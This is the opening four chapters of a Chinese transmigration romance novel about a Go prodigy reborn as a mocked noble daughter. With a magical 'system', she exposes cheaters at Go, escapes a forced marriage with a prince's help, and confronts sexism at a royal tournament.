《她靠围棋赢天下》
1. 001
等宋锦瑶有意识醒来后,只觉浑身被束缚得难受。
她下意识想挪动身体,却感觉整个人动弹不得,强忍着昏沉睁开眼,眼前竟是一片狼藉。
只见她被五花大绑在床上,绳子紧紧地勒着手腕和脚踝,在白皙的皮肤上留下深深红痕。
宋锦瑶心猛地一沉,脑海一片混乱,还未等她反应过来,门外传来媒婆和丫鬟的声音。
丫鬟:“要是被人发现我们绑架御史台的人,那岂不是……”
媒婆:“怕什么?傅公子说了,这女子就是个傻子,只要将她绑到成婚那天,定金少不了我们的。我还特意下迷药,保证一时半会醒不过来。”
闻言,宋锦瑶才意识到自己并不在熟悉的围棋馆,而是身处一个陌生的闺房。
好歹她是世家围棋天才,且不说心思严谨沉稳,再不济也不会和傻子搭边吧。而且让她要和没见过的人成婚,简直荒谬可笑
她拼命挣扎,手腕和脚踝被绳子勒得生疼,可绳子却纹丝不动。拉扯绳子的动静不小,听到里面有动静,媒婆赶忙带着几个丫鬟走进来。
见宋锦瑶居然醒过来,媒婆眼底闪过惊愕,她皱了皱眉头,转身对丫鬟说道:“你们看管好她,我去禀告傅公子。”说完,便扭着身子匆匆离去。
宋锦瑶跟房间内的丫鬟大眼瞪小眼,丝毫没有想要向她们求助的意思。她快速熟悉周围环境,记住她们一言一行,日后好找到机会报官。
察觉到有人在盯着自己看,宋锦瑶抬眸望去,正好和其中一个丫鬟对视。对方咬了咬嘴唇,好似下定决心,故意找个借口引开其他丫鬟。
等房间内只剩宋锦瑶,那名丫鬟慌忙跑到她身边,低声说道:“小姐别怕,我现在放你走,你出去后立马往御史台跑,告诉老爷这一切,千万不要再被人抓到了!”说着,便快速解开宋锦瑶身上的绳子。
“那你呢?要是被发现……”宋锦瑶话未讲完,丫鬟连推带拉领她往小巷里走。
听到她在关心自己,丫鬟只是苦笑道:“小姐不必担心我,只要小姐能逃出去,一切都有可能反击。”
虽然宋锦瑶大脑一直处于昏沉状态,但眼下情况她或多或少明白些。她们口中的傅公子,就是将自己五花大绑的元凶,亦是她未来夫君。
她按照丫鬟规划好的路线走,果不其然能顺利躲避人群逃出院子。
走在陌生街道上,宋锦瑶神经依然处于紧绷,路过的行人都在用鄙视的目光看着她。突然,道路中间站着几名壮汉挡住她的去路,他们每个人脸上挂满调戏。
“这不是宋锦瑶吗?听说前几天跟傅公子出去游玩了,怎么回来穿得这么破烂?傅公子没有招待好你?”
他们言语间充满恶趣味,像看待玩物一样看她。
“就她一傻子还能让傅公子招待,能让她嫁入傅府也算是祖上积德。”
宋锦瑶:“……”
她对这种头脑简单、四肢发达的人选择无视,直接面无表情越过他们,只想着快点走到宋府,将刚刚所发生的一切告诉宋老爷。
其中一名壮汉瞧见,气不打一处来,直接伸手用力将宋锦瑶推到墙上,猝不及防的撞击感一下子使她整个人都清醒不少,她吃疼地睁眼,映入眼帘便是那双骇人的眼睛。
壮汉一拳砸在墙上,落下些许灰尘,他瞪着眼睛恶狠狠威胁道:“你个傻子别给脸不要脸,以为是御史台的人就了不起吗?不照样被你爹转手嫁人?今日你敢在我眼皮子地下溜走,我就吃了这层墙。”
瞧见壮汉手臂青筋暴起,宋锦瑶显然意识到莽干她完全不是对手,但要是再这么耗下去,她迟早会被傅府的人抓回去。
就在千钧一发之际,宋锦瑶瞥见不远处有人在下围棋。于是灵光一闪,不屑抬头对上那双眼睛,丝毫不客气道:“好啊,那不妨试试围棋,要是你输了,不仅要目送我离开,而且还要护送我回宋府。”
听到围棋二字,原本还火气上头的壮汉一下子笑出声:“疯子,宋锦瑶你简直就是个疯子!来,我倒要看你今天有多嘴硬,你要是输了就乖乖给傅公子传宗接代!”
大战一触即发,和宋锦瑶对战的是位研究围棋多年的壮汉,面对她猛烈进攻丝毫不放进眼里,甚至能在空闲时间嘲讽她。
就在宋锦瑶准备放长线钓大鱼时,指尖触碰到黑棋的瞬间,耳边立马响起一阵电流声,紧接着一道冰冷的声音传入耳朵。
【检测到宿主符合本次要求。】
【恭喜宿主触发隐藏功能,是否绑定“火眼金睛”。】
宋锦瑶动作倏然停下,茫然抬头打量周围,发现除了周围几名壮汉以外没有任何声响。
【请宿主在三分钟内回答,未能答复系统将自动绑定。】
等等!现在系统都流行搞霸道强制吗?
宋锦瑶根本来不及反应,只能随便找个理由搪塞过去,令她万万没想到的是那群人果真同意放她暂时离开。
她跑到角落靠在墙角喘气,确定周围没人才敢发出声音回应:“你是从哪里冒出来的东西!还有火眼金睛又是什么?”
【我是宿主在这世界上唯一异功能系统,帮助宿主快速完成必要困境或做出正确决策。】
【“火眼金睛”说明指南-宿主只需绑定即可在任何地点能看清对方作弊行为,使用技能快速帮助宿主完成困难。】
【检测到宿主在原世界意外身亡,穿越到本世界与宿主一致的御史台宋氏嫡女身上。原主因身心受损主动放弃生命,请宿主代替原主在本世界好好生存。】
直到这一刻,她才意识到自己确实穿越了,且绑定这个奇怪的系统。
【检测到时间结束,宿主已绑定“火眼金睛”技能。】
【可通过经验值升级解锁新技能或属性提升,祝宿主使用愉快。】
一套话术行云流水,宋锦瑶甚至没做出任何反抗就自动绑定,紧接着电流声消失在眼前。虽然有些不懂,但起码在这世界拥有系统总比她自己摸索要强。
等宋锦瑶回到围棋桌后,老远就见乌泱泱一群人围在周围,走近些才能听见他们在说什么,无非嘴里全是咒骂她是傻子,每天神志不清就敢跑来下围棋。
注意到她过来,原本还在起哄的人立马散开,唯独壮汉一副高高在上的神色:“呦,傻子回来了啊,我还以为你被小爷我吓到回去找去你爹呢。”话音刚落,又引来无数嘲笑声。
宋锦瑶脸瞬间冷下:“少废话,倒是你最好想想给我道歉的话。”
壮汉忍不住发出嗤笑声,胸有成竹地将还未下完的棋盘推出。里面棋盘显然被人做了手脚,和之前宋锦瑶下的位置完全不一致,甚至只要她再下错一步,对方便可轻而易举胜利。
宋锦瑶看着这盘必输局,周围不断传来男性嘲笑声,明显他们都是一伙,要是直接说出,反而会被人认为自己无能。
她强制让自己冷静下来,紧握黑棋洞察这盘棋,壮汉很聪明将所有黑棋包围,可还是心高气傲疏漏一个关键点。即使黑棋被全部包围,只要引出白棋追自己,那么这盘棋就有翻盘机会。
宋锦瑶在众目睽睽下直接将黑棋下在白棋几格开外,这一打法瞬间让哄堂大笑的人立马沉默下来,他们几乎同时抬头看向宋锦瑶,实在不明白她内心到底在想什么。
壮汉脸上的也笑戛然而止,他捏住白棋想按照原本计划进行,可这黑棋实在是太过诡异,常年紧惕心告诉他必有妖,于是他不明所以只能去堵宋锦瑶的黑棋。
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看到鱼儿落网,宋锦瑶嘴角微微上扬,顺着包围的黑棋继续下,壮汉却只盯着她目前招数,紧随其后堵她,倏然不知她真正目的是里应外合。
见原本优势逐渐消失,壮汉立马急眼,试图想偷鸡摸狗将白棋顺走。就在这瞬间,他的动作仿佛被加上慢动作,一举一动宋锦瑶看得清清楚楚,甚至和系统所说的火眼金睛一模一样。
就在对方想收手顺走之际,宋锦瑶立马抓住他手腕:“公子,偷棋可不是传统美德。”
此话一出,在场所有目光全落在二人手腕之间。壮汉面露难色一把推开宋锦瑶,眼底全是慌张:“谁…谁偷棋了,你个傻子别血口喷人!”
宋锦瑶不屑笑了:“没偷?你敢撒开手给大伙看看吗?”
壮汉:“……”
他们这一动静早就引来不少行人观看,懂行的只是瞥了一眼便看出宋锦瑶棋风了得,哪怕他真的偷梁换柱,在如此实力面前也只是班门弄斧,自欺欺人。
壮汉见局势不对,干脆将围棋掀翻在地,不甘心吐两把口水,恶狠狠瞪着宋锦瑶威胁道:“你个傻子也配和我下棋?还敢质疑老子,看老子今天打不打死你!”
说完,他扬手便朝宋锦瑶扇去,见对方不讲理,宋锦瑶只能下意识往后躲,不料后背正好撞上一个坚实可靠的怀里,带有淡淡书香气息瞬间包裹她全身。
巴掌并没有落下,而是在半空中被人及时打断,紧接着一道声音响起:“光天化日之下岂能动手打人!”
眼见人群越来越多,壮汉感到不妙,但还是嘴硬解释道:“是她先污蔑我在先,我这是在保护自身权利!”
污蔑?
宋锦瑶听到这话差点被气笑,刚想开口质疑,却不料手腕一紧,她猛然抬头望去,一双含情脉脉的眼睛便倒映在她的瞳孔里。
明明对方没有任何表情,身上却难以隐藏那股温文尔雅的气息。
见宋锦瑶看呆,那人也只是轻笑声,低头附在她耳畔低语:“没事,我相信你。”
随后抬头,眼底的温柔瞬间消失:“这位公子请稍安勿躁,刚才那盘棋我全程观看。围棋是靠公平竞争,由本身实力取得胜利,而并非借此投机取巧。”
“即使你靠作弊下棋,这位姑娘的实力也绝对在你之上,在说他人前,请先认清自己是什么东西。”
壮汉:“你谁啊你,这么帮疯子讲话,该不是这疯子的情人吧?”
“放肆!”刚刚打断他的人一脚把壮汉踢倒在地,语气异常严肃:“在你面前可是当今王朝最强大的徐氏!”
徐氏-王爷府。
众人听闻气场陷入窒息般安静,怕惹是生非全都散开,原本拥挤哄闹的人群一下子只剩下四人。
壮汉更是被吓得脸色苍白,跪在地上连头都不敢抬,嘴里不断重复:“王爷饶命。”
徐颂祁原本并不想将身份曝出,奈何手下比自己都心急,这下都不知道如何收场。
好不容易解决完这场闹剧,注意到宋锦瑶并不会像普通人那样害怕他,反而情绪非常平静,不禁感到一丝趣味。
一阵风起,徐颂祁站在宋锦瑶面前,面容始终透露出温柔:“姑娘那盘棋走得实属妙哉,可否问问姑娘家为何处,棋法从哪里学到吗?”
她并不想招惹大人物,含糊道:“受王爷夸奖,小女自幼跟随祖父学习围棋,只略懂一二罢了。”
话音刚落,不远处马车朝他们跑来,紧随其后竟是媒婆的呼喊:“小姐!!!您这么一个人就偷溜出来了,现在府里七上八下,全等着您回去!”
看清来人是谁,宋锦瑶瞬间愣在原地,看着那副面孔,她下意识牵住徐颂祁的衣袖口,声音夹带些苦涩哀求道。
“王爷!救我!”
2. 002
宋府本在京城声名赫赫,此时院外挂满大大小小红灯笼,待宋锦瑶赶回家中,原本应是熙熙攘攘的氛围,此刻却异常安静。
宋锦瑶跟随媒婆刚走进门,一眼便瞧见为首的老者正在招待客人,还没等她走近,一道讥讽之声在耳畔响起。
“呦,这不是宋锦瑶吗?听闻你到街上撒泼打滚了?”
宋锦瑶脚步一顿,抬眸望去,只见一位看似纨绔子弟的人不紧不慢地倚在石墩前,上下打量着她,满脸厌恶。
她一眼便认出对方正是她们口中的傅公子,瞧见他站这等候多时,恐怕已经知晓事情的全部来龙去脉,但还故意装出一副什么也不知道的模样,想必也正是仗着宋锦瑶是傻子的缘故。
正巧,她也不想在这个时候当众揭穿这个人的真面目,只能顺着他的意思假装不认识。
宋锦瑶握紧拳头,努力克制自己的情绪:“这位公子与我有何关系?为何在此阻拦我?”
“宋锦瑶,你当真不记得我是谁?当初是谁哭着喊着要嫁于我?不惜跪在傅府一夜,只为博我一眼?”傅渊说着,伸手想去抚摸她的脸,被她及时退后躲开。
她早就在回府的路上,通过系统感知到以前的宋锦瑶过着何等悲惨的生活,以至于她对这里的任何人都充满敌意。
宋锦瑶含笑轻声道:“傅公子就当以前的宋锦瑶死了便罢,今后小女再也不会扰公子心烦。”
眼见她要走,傅渊一把掐住她的手腕,强行将宋锦瑶拖拽到面前,眼底闪过一丝惊讶:“你没疯?还是说你根本就不是宋锦瑶!”
话音刚落,宋锦瑶猛地抬头对上那双凶神恶煞的眼睛,身体竟然下意识地产生惧怕。
听到外院有动静,长辈们纷纷从正厅走出来。见到眼前这一幕,宋老爷顿时坐不住,一路小跑到女儿身旁,将宋锦瑶拉过来。
看向傅渊时,对方明显有些心虚,可碍于两家情分,这件事只好不了了之。
宋府做为御史台实力不低于同职位的傅府,甚至在京城的影响力更大,若不是宋锦瑶当初那番举动,宋父绝对不会让她嫁入傅府。
正厅内,两家长辈看似在为宋锦瑶大婚做准备,实则傅府一直借着娶妻的名义为难宋老爷子,看着宋老爷子不断为她低三下四说好话,宋锦瑶只能强忍。
就在这时,傅府将矛头指向宋锦瑶。傅渊的父亲打量着宋锦瑶,语气沉重地说:“听说瑶儿最近精神状态还行?居然能与街上不入流的人下围棋,还胜了对方。”
傅渊紧随其后插进话题,显然不想让宋锦瑶好看:“听说两人都直接抱上,而且还和名门望族勾搭上,要是传出去,不仅丢傅府的脸面,哪怕令爱嫁入傅府也无法挽回名誉吧?”
此话一出,宋老爷脸上的笑容凝固在嘴角。
宋锦瑶实在看不下去,起身怒怼:“小女不知何时用‘勾搭’二字去抱任何人,既然令府实在容不下小女,那这婚不成也罢。”
气氛再次陷入安静,宋老爷赶忙将她拉到身旁,语气难得地严肃:“瑶儿莫要无礼,这门亲事可是你亲自求爹换来的,岂能顺着性子说不成就不成?”
还没等宋锦瑶开口解释,傅渊讥讽道:“是傅渊的问题,忘了令爱是个傻子,毕竟傻子就喜欢随便勾搭别的男人,如有冒犯还请宋小姐原谅。”
宋锦瑶轻轻拍了拍阿爹的手背,眼神冷厉:“我不知傅公子为何一再强调小女为傻子,既然公子认定小女有勾搭他人之举,那小女还公子清白。”
傅府之所以同意娶傻子为妻,其实就是看重宋氏在京城的地位,且不说得嫁后宋锦瑶会遭受多么不堪,往后瓜分宋氏便是轻而易举之事。
见今日宋锦瑶不对劲,傅渊气得牙痒痒,刚想直接动手,身后却被急匆匆赶来的下人的声音打断。
“老爷,王爷圣驾至此……”
话音未落,徐颂祁一袭白衣胜雪,衣袂飘飘地走进正厅。瞧见这番混乱场景,也只是含笑道:“看来本王来得不巧,在院外就能听见贵府的争吵声。”
见徐颂祁亲自降临宋府,傅渊顿时脸色一沉,只能跟着长辈一起行礼。
徐颂祁安然地坐在椅子上,谁也不敢开口说话,直到目光落到傅府父子俩身上:“这位是?”他假装停顿一下,故意装出恍然大悟的神色:“御史台傅府的人啊,好不入流的城府门第。”
听闻此言,傅氏父子被吓得瑟瑟发抖,显然徐颂祁将他们的对话全都听完。
徐颂祁目光凛厉地盯着傅渊:“听闻宋小姐被强迫嫁于令府?看刚才那架势,傅公子还想动手打人?”
傅渊只能硬着头皮解释:“是她明知身上有婚约,今日还勾搭别的男子,我只是提前管束罢了。”
跟在徐颂祁身旁的手下忍不住开口怒斥道:“大胆!今日若不是王爷出手相助,宋小姐就会被人欺负。现在倒好,不仅宋小姐回来被诬陷,你们也敢议论王爷?”
言毕,除了宋锦瑶外,全都愣在原地,他们怎么也想不到被说勾搭的人竟是王爷,傅氏父子更是被吓得腿都站不稳。
徐颂祁挥手示意闭嘴,看向宋锦瑶时神色略有缓和:“听闻宋府和傅府是出了名的爱好围棋,今日不如让傅公子与宋小姐下棋比拼,若宋小姐胜,傅府便与宋小姐从此毫无关系。”
见王爷并没降罪于傅氏,傅渊顿时松了口气。
围棋桌前,宋老爷心情忐忑不安,人人都知道宋锦瑶是傻子,要想靠围棋战胜傅渊根本不可能,可为何王爷会执意如此。
比赛地设在庭院中,四周古木参天,花香四溢。
比赛开始,傅渊毫不客气地拈起一枚黑子,稳稳落在棋盘右上角的星位上,而宋锦瑶淡然一笑,拈起白子,轻轻落在对角的星位上,回应得恰到好处。
起初,双方落子如飞,布局迅速展开,随着棋局深入,气氛越发紧张起来,周围的人都屏住呼吸。棋盘上,黑白棋子相互交织,如同激烈的战斗。
宋锦瑶棋风凌厉果断,白子在棋盘上纵横驰骋,抢占实地,企图迅速建立优势。每回傅渊都陷入沉思,他的额头微微冒汗,眼神紧紧地盯着棋盘,生怕下错一步造成无法挽回的结局。
棋盘上的局势越发复杂,双方都在绞尽脑汁地寻找着对方的破绽。时间一分一秒地过去,阳光渐渐西斜,庭院中弥漫着紧张的气氛。
宋锦瑶见时机已到,特意将自己的弱点暴露,引诱傅渊落入陷阱,就在对方认为这一棋能彻底打败宋锦瑶时,她眼前的动作忽然变得缓慢起来。
意识到是系统技能生效,她立马用余光瞥向傅渊,果然看清他黑子下面居然叠加了另一个棋子,速度极快倒像是常犯,试图乘人不备调换棋子来个二吃一。
此招虽险,但胜率极大。
宋锦瑶生平最讨厌打不过就作弊,见他执意如此,倒不如将计就计。
就在傅渊准备落棋的瞬间,她突然伸手去调整白棋摆放的位置,不料这一举动正好打在傅渊的手指上。下一瞬,她亲眼看着对方叠加的黑棋被甩出去。
“咳咳咳……”傅渊被呛到止不住咳嗽,试图掩耳盗铃,将大家的注意力全落到他身上。
可宋锦瑶不吃他这一套,见他当真下在陷阱中,忍不住笑出声:“傅公子好棋法,只不过小女疑惑为何公子的黑棋会
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同时下在棋盘外?”
言毕,众人纷纷抬眸顺着目光望向被甩出去的黑棋。
傅渊脸色大惊,以他多年的经验,宋锦瑶绝对不会发现他叠棋,这女子为何心思如此缜密。
宋锦瑶拈起白子落在最后一步,将黑子彻底吃净,此棋盘白子获胜。
傅渊僵在原地,感觉一股寒气从头到脚冒出,他赶忙转头拼命向徐颂祁解释,说话都不利落。
宋锦瑶歪着头,一副看好戏的神色。就在这时,耳畔又传来电流声。
【恭喜宿主累计“火眼金睛”技能经验,现在随机解锁新技能。】
【新技能为“读心术”说明指南—能听到他人思维以语言行事呈现。】
【检测到宿主为入门级—只能在近距离读取他人思维,祝宿主使用愉快。】
思维读心术,听起来倒是个挺不错的技能。
等宋锦瑶反应过来,傅氏父子早已跪在地上,不断请求徐颂祁宽恕,而徐颂祁的目光全然落在她身上,好似任由她发落。
宋锦瑶对上那双温柔眼眸,朝地上的傅氏父子道:“那便听从王爷安排,小女今后与傅氏再无任何瓜葛,还请傅府将聘礼拿回。”
傅府虽不乐意,但王爷指令不得不听。
等他们走后,宋老爷子还没搞清楚今日状况,本想询问宋锦瑶到底怎么回事,没想到徐颂祁却含笑走到他面前。
徐颂祁:“今日是本王唐突介入贵府之事,不过本王还有些事询问宋小姐,能否让令爱陪本王转转?”
京城夜晚灯火通明,两人并肩漫步在青石铺就的小路上,月光洒在身上,发丝在晚风中微微飘动。
回想到今日所发生的一切,宋锦瑶有些疑惑:“王爷是如何得知我是宋府之人?又为何会亲自大驾光临帮我解决?”
徐颂祁目光落在她身上:“你唤本王救你,本王自然会来。至于身份,马车宋府二字写得清清楚楚,让人难不被发现。”
宋锦瑶:“想必王爷早已知晓众人称小女为傻子,为何还让小女与傅公子一博?是在试探我吗?”
徐颂祁嘴角扬起浅笑:“试探倒不至于,最多是确认。本王在确认你是否真如众人所说那样。”
她一下子呆在原地,两人四目交汇:“那王爷确认了吗?”
徐颂祁微微颔首:“宋小姐棋艺了得,两局棋盘都凶狠好战,以引蛇出洞的方式战胜,是本王在世上知道为数不多的奇女子,恐怕其本身实力更为强大吧?”
“而且两次都能精准无误地发现对方猫腻,这已经不是寻常人能注意到的地方。”他突然靠近宋锦瑶,低声细语道:“宋小姐,真令本王实属佩服。”
宋锦瑶尽量镇定道:“多谢王爷青睐。奇女子倒说不上,最多喜爱围棋罢了,只不过当今朝代对女子学术围棋充满敌意,认为女子无才便是德,确实容易埋没人才。”
“实不相瞒,近日皇室将举办一场围棋大赛,我想邀请宋小姐一同参加,不知意下如何?”徐颂祁声音总是透露着温润如玉,让人无法拒绝。
宋锦瑶微微一愣,随即摇头道:“皇室大赛,岂是我等平民百姓可以参加的?况且我还是位女子。”
徐颂祁看出她的顾虑:“宋小姐放心,此次大赛公正公平,不论身份地位,只论棋艺高低。我相信以你棋艺一定能在大赛中脱颖而出。
宋锦瑶惊奇地看向徐颂祁,实属没想到他会如此看重自己,到嘴的拒绝又咽了回去。
她深知在这个男尊女卑的时代,只有靠自身力量才能打破对女子下围棋的偏见,况且她还有系统加持,或许这正是一个难得的机会。
3. 003
翌日,皇室举办的围棋赛如期而至,京城的街道上热闹非凡,人们纷纷朝着比赛场地涌去。宫殿前,数张棋盘摆放整齐,参赛选手们陆续抵达,个个神色肃穆
宋锦瑶的出现引起不小骚动,在这个男尊女卑的时代,女子参加围棋大赛实属罕见,无人对她的勇气表示钦佩,反而嗤之以鼻,认为她是自不量力。
“宋小姐。”一道极为温柔的声音从远处传来。
徐颂祁看到她,嘴角不自觉地上扬:“你果真来参赛了,本王甚是看好你的棋艺。”
宋锦瑶连忙行礼:“多谢王爷青睐,小女必定全力以赴,不辜负王爷的一片好意。”
徐颂祁注意到周围投来的异样目光,便凑近一些,低声说道:“宋小姐实力毋庸置疑,不过本王提醒你,下棋时切勿心急将弱点暴露引诱他人,仔细观察棋盘局势,寻找对方破绽。”
言毕,徐颂祁严肃的神色稍缓:“如果是宋小姐的话,本王相信你一定可以。”
宋锦瑶呆愣在原地,目送徐颂祁离开,直到背影完全消失在人群。
这算是赛前压力?
随着王爷一声令下,比赛正式开始。宋锦瑶的对手是一位中年男子,他看着宋锦瑶,眼中露出一丝轻蔑的笑容。
对方做了个“请”的手势,她也不客气,率先落下一子。
比赛一开始,男子就采取猛烈进攻方式,试图在气势上压倒宋锦瑶,而她则不慌不忙,沉着应对,仔细观察着棋盘上的局势,寻找对方破绽。
初赛是为淘汰业余围棋选手,要想打破围棋偏见,她必须得晋级,必须要站到最后。
随着比赛进行,男子进攻越来越猛烈,宋锦瑶渐渐陷入被动。但她并没慌乱,而是异常冷静地分析着局势,思考着应对之策。
男子鄙夷地瞥了她一眼:“不就是赢了御史台傅府那小子,就敢来参加皇室围棋比赛?快回去照照镜子吧,女子老老实实成婚生子不好吗?”
闻此言,宋锦瑶指尖紧紧捏着黑子,眼底毫无波澜:“公子此言差矣,女子本该掌握自己的命运。”
她靠自身多年经验,敏锐捕捉到男子棋盘破绽,果断落下一子,扭转局势。对方脸色骤变,他不再轻视宋锦瑶,而是将她视为一个真正的对手。
如果说前期宋锦瑶以谨慎委婉的打法观察大局,那么后期她则变得凶狠果断。黑子处处透露出凌厉的棋风,每一步都充满攻击性,逼得对方连连败退。
男子也不甘示弱,他竭尽全力地应对宋锦瑶的攻击,试图挽回局面,奈何实力差距巨大,甚至还没反应过来,棋盘局势瞬间处于下风,此局必败。
随着第一轮比赛结束,宋锦瑶以绝对优势战胜男子,成功晋级下一轮比赛。
她精彩的表现并没赢得掌声,众人更多是对男子实力的嫌弃,整个气场都弥漫着质疑。为什么会让一个女子进入第二轮比赛?没有人愿意和她做对手。
“宋小姐。”
输给她的男子满脸歉意走过来,不敢抬头与她对视:“很抱歉刚刚说些伤害你的话,是我盲目自大,你说得对,女子本该掌握自己的命运,我…很敬佩你!”
宋锦瑶感到惊奇,这是除了徐颂祁以外,第一个愿意和她讲话的人。她忍不住轻笑道:“我也很敬佩于你,无论在棋盘里还是人品上,你已经超越很多人了。”
听闻,男子猛地抬头看向她,眼底闪过感激之情:“宋小姐年纪轻轻竟有如此强大实力,想必定会出人头地,向大家证明属于女子的棋风!”
宋锦瑶笑着没有说话,看到男子丝毫不在意周围异样的目光,只觉得自己来对了地方。
第二轮比赛,宋锦瑶继续发挥出色,凭借自身实力战胜对手,成为名副其实黑马。随着时间推移,质疑宋锦瑶的声音越来越大,很多人开始关注这位年轻的女子棋手。
中场休息,宋锦瑶并没跟随大伙去吃饭,而是一个人躲在竹亭内休息。
宫殿后的竹亭比自家后院美得多,她趴在竹亭的桌上闭目养神,耳畔全是鸟儿的叫声,让人心情愉悦。
一阵风起,宋锦瑶察觉到有人朝她靠近,且毫无脚步声,内心警惕性大增,就在对方快触碰到她时,宋锦瑶猛然睁眼,一气呵成反手擒下对方。
“疼!!疼疼疼!你个小姑娘家家看似弱不禁风,力气怎么这么大!”
看清来人居然是徐颂祁,吓得宋锦瑶连忙撒手道歉:“王爷?小女愚钝,不知来人竟是王爷。”
徐颂祁没好气瞪了她一眼:“罢了。从结束起本王就不见你人踪影,想着你肯定在哪躲起来,没想到还真被我找到。”
他俩一同坐在竹亭内,微风徐徐吹过,好像世间只剩彼此二人。
“本王见你半日未进食,听手下说最后一场关乎成败,想着你也不会和那些人一起,就随便给你拿些糕点垫垫肚子。”说着,徐颂祁从袖口拿出包装好的糕点。
看到“随便”拿的糕点时,宋锦瑶眼睛刷地一下发亮:“王爷,这真是随便给我拿的,还是特意?”
徐颂祁轻咳一声:“都说随便了还问,快吃!”
围棋是极具消耗精力的对决,原本宋锦瑶就做好饿肚子准备,却没想到他会如此关照自己。她也没多想,三两下功夫好几个糕点全都下肚。
徐颂祁撑着手目光看着她,见她毫无大家闺秀模样,失笑道:“这么吃个糕点吃到鼻尖上了?又没人跟你抢。”
宋锦瑶当然知道,只不过皇室糕点和民间不一样,竟意外符合她口味,自然没工夫去擦拭鼻尖上的污渍。
见她依旧自顾自吃着糕点,徐颂祁忍不住伸出食指替她擦拭,直到指尖触碰到她细腻的肌肤,传来余温,两人的眼睛不自觉地对视上,看着彼此眼中倒映出自己的模样,这才后知后觉地感到一丝不对劲。
徐颂祁温柔地垂眸看着她:“宋锦瑶。”
“嗯?”宋锦瑶并未在意他直呼自己的本名,只是投去好奇的眼神。
“你愿意进入皇室围棋课深造吗?”
?
宋锦瑶到嘴的糕点放下,好奇的目光转化为疑惑:“和谁?”
徐颂祁眉眼弯弯:“和我。”
最后一轮比赛开始,宋锦瑶的对手是位经验丰富的老棋手,对方棋艺精湛,风格沉稳。从开始宋锦瑶就感到压力,老者非常谨慎,没有给她任何机会,她也不敢有丝毫大意,全神贯注应对对方的攻击,时刻寻找反击机会。
尽管她使出全部实力,在老者面前依旧异常艰难,双方僵持不下。
老者额头渐渐渗出汗水,打趣道:“姑娘好棋法,老夫已经很久没有遇到如此厉害的女子,棋艺了得,未来可期啊。”
宋锦瑶满脸苦笑,刚想开口回应,耳边竟传来奇怪声音。
【这女子为何年纪轻轻,实力竟如此恐怖。无碍,只要我‘双虎’成型看她任何反应。】
听闻,宋锦瑶猛地抬头看去,对面老者根本没有说话,她后知
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后觉意识到系统读心术生效了。
老者当真落棋点全是按照‘双虎’,甚至还会故意分散她注意力。见宋锦瑶不但没上钩甚至打断成型,老者不可思议的看向她,眼底闪过复杂情绪。
【怎么回事,为何她提前知晓我的棋法?难不成被她发现了?不可能,至今为止无人知晓,肯定是误打误撞。】
两人表面全神贯注无言下棋,内心早已谋划好一切计划。
【明明可以‘顶棋’为何不动?是在试探我吗?】
老者目光沉思地盯着宋锦瑶下得棋法,甚是感到不解。看她年纪尚小,以为心思不会如此谨慎,只好用白棋去堵她,却不料被宋锦瑶反夹。
见此期间,宋锦瑶不慌不忙问道:“老先生,可否听过棋盘里‘雪崩定式’?”
老者不明白她葫芦里到底卖什么药,正色道:“是经典招数,听闻很少人能使出此招。”
“那如果我告诉您,接下来我要摆‘雪崩定式’,老先生是阻止还是放任呢?”
老者震惊地对上宋锦瑶那双深不见底的眼睛,在此刻居然闪过一丝玩弄气息。
【她到底在谋划什么,为什么要直接告诉我这个的招数,而且她落棋点全按照‘雪崩定式’,万一有诈怎么办?】
老者内心复杂不堪,手里紧握着白棋迟迟不敢下。宋锦瑶并没有放松警惕,假装一副饶有兴趣的神色盯着老者,其实是在观察他一举一动。
见时机成熟,宋锦瑶果断落下一子,这一子看似平淡无奇,实则暗藏杀机,要的就是老者自乱阵脚。
老者显然没想到她会在这个时候走出这样一步棋,他脸色微微一变,经过思考最后还是选择防守,宋锦瑶没有给他反应机会,只要老者往后退,她就持续发动进攻。
等老者意识到自己正中对方圈套想要进攻时,宋锦瑶以凶狠果断棋风,彻底将老者打不出任何优势,只能眼睁睁看着此局必败。
直到确定对方毫无生机,宋锦瑶才敢大口大口呼吸,她整个对局心直接提到嗓子眼。
宋锦瑶其实根本打不出所谓的‘雪崩定式’,甚至稍有不慎就会被对方看穿自己在演戏。正是借助系统技能,她才能攻破他内心的底线。
大赛结束,下人们拿着晋级名单,站在台上朝着人群大声喊去,只要被念到的名字,都将成为胜者进入下一轮比赛。
“宋氏-宋锦瑶进!”
听到自己名字,宋锦瑶显然松了口气,同时也引起巨大轰动。
台下的参赛者聚拢在一起,围着宋锦瑶指指点点,原本只是窃窃私语的声音,到最后忍不住大声喧哗,直呼不公。
“从古至今没有一个女子下围棋,怎么能让她进下一轮比赛!绝对有问题。”
“女子不相夫教子,何成体统!要是人人都像她那些,这世道必定混乱不堪。”
“我听说她还是个傻子,这不是赤裸裸挑衅我们平民百姓吗!还有没有王法了!”
他们认为宋锦瑶的胜利是对男子的侮辱,是对传统观念的挑战。这些人开始对宋锦瑶进行各种攻击和诋毁,甚至要求王爷取消她进赛资格。
见宋锦瑶自始至终没有解释,脸上也看不出任何情绪,其中一个男子觉得特别不服气,直接冲上前去掐住她的手腕,恶狠狠瞪着她,言语里全是威胁。
“疯女人,还配和我们下围棋,看我今天证不证明女子就是无能之人。”
言毕,他扬起巴掌朝宋锦瑶扇去。
4. 004
众人眼睁睁地看着他欺负一位女子,脸上甚至闪过一丝不易察觉的窃喜,没有任何人想要出手相助的意思。
良久,巴掌并未落下,反而是宋锦瑶扼住他的手腕。她微微蹙起眉头,眼神犀利地盯着他。
宋锦瑶的力气不小,说话时眼里也毫无胆怯:“我不知道这位公子为何如此生气,是不想承认自己技不如人,还是因为输给一个女子而感到丢脸?”
那人震惊地瞪着她,简直不敢相信眼前的人竟是从前疯疯癫癫的宋锦瑶。恍惚间,仿佛在她脸上看到一种坚毅的光芒。
宋锦瑶一脸嫌弃地甩开他的手,回头看向身后那些看热闹的人:“公平?王法?在当今朝代,女子可曾有过公平?可曾有过王法?”
“你们之所以愤怒,是因为看到自己连女子都不如。你们在害怕,不敢承认自己的懦弱与不堪,所以只能不断否认女子的地位。但如今,梦该清醒了。”
这一刻,众人都瞪大眼睛看着宋锦瑶,整个气场随着时间的流逝变得安静下来。
“疯子,她绝对是疯了,到底是谁把她邀请过来的!我要叫人把这个疯女人抓起来。”为首的男子剧烈摇头,手指颤抖着指向宋锦瑶,不断朝周围大声喧哗。
见他一边大喊不公一边朝她靠近,宋锦瑶立马进入警备状态,只要对方再前进一步,她便会毫不犹豫地出手。
她握紧拳头,刚想抬手却被人拉住手腕。随后整个身体跟着惯性被人护在身后,紧接着熟悉的香味扑鼻而来。
